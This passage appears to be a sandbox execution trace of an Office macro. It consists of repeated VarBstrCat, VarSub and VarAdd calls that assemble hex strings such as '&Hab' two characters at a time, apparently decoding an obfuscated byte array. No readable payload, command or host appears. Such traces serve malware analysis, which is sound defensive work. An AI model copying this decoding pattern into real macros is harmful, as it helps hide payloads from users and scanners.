pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.637] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.637] VarBstrCat (in: bstrLeft="&Ha", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.637] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.637] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.637] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.637] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.637] VarBstrCat (in: bstrLeft="&Ha", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.637] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.637] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.638] VarBstrCat (in: bstrLeft="&H9", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.638] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.638] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.638] VarBstrCat (in: bstrLeft="&H1", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.638] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.638] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.638] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarBstrCat (in: bstrLeft="&H8", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.639] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.639] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.639] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarBstrCat (in: bstrLeft="&Hb", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.639] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.639] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.639] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarBstrCat (in: bstrLeft="&H0", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.639] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&H6", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.640] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&H6", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.640] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.640] VarBstrCat (in: bstrLeft="&Hc", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.641] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.641] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.641] VarBstrCat (in: bstrLeft="&Hb", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.641] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.641] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.641] VarBstrCat (in: bstrLeft="&H5", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.641] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.641] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&H1", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.642] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.642] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&H6", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.642] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.642] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarBstrCat (in: bstrLeft="&Hb", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.642] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H5", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.643] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H8", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.643] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.643] VarBstrCat (in: bstrLeft="&H6", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.644] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.644] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.644] VarBstrCat (in: bstrLeft="&H5", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.644] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.644] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.644] VarBstrCat (in: bstrLeft="&Hb", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.644] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.644] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H4", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.645] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.645] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H5", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.645] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.645] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarBstrCat (in: bstrLeft="&H2", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.645] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.645] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&H2", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&He", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarBstrCat (in: bstrLeft="&H7", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.646] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.646] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&Ha", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H7", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H6", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.647] VarBstrCat (in: bstrLeft="&H0", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H1", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.648] VarBstrCat (in: bstrLeft="&H0", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.649] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.649] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.649] VarBstrCat (in: bstrLeft="&H0", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.649] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.649] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.649] VarBstrCat (in: bstrLeft="&He", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.649] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.649] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.650] VarBstrCat (in: bstrLeft="&H7", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.650] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.650] VarBstrCat (in: bstrLeft="&H7", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.650] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.650] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.650] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.651] VarSub (in: 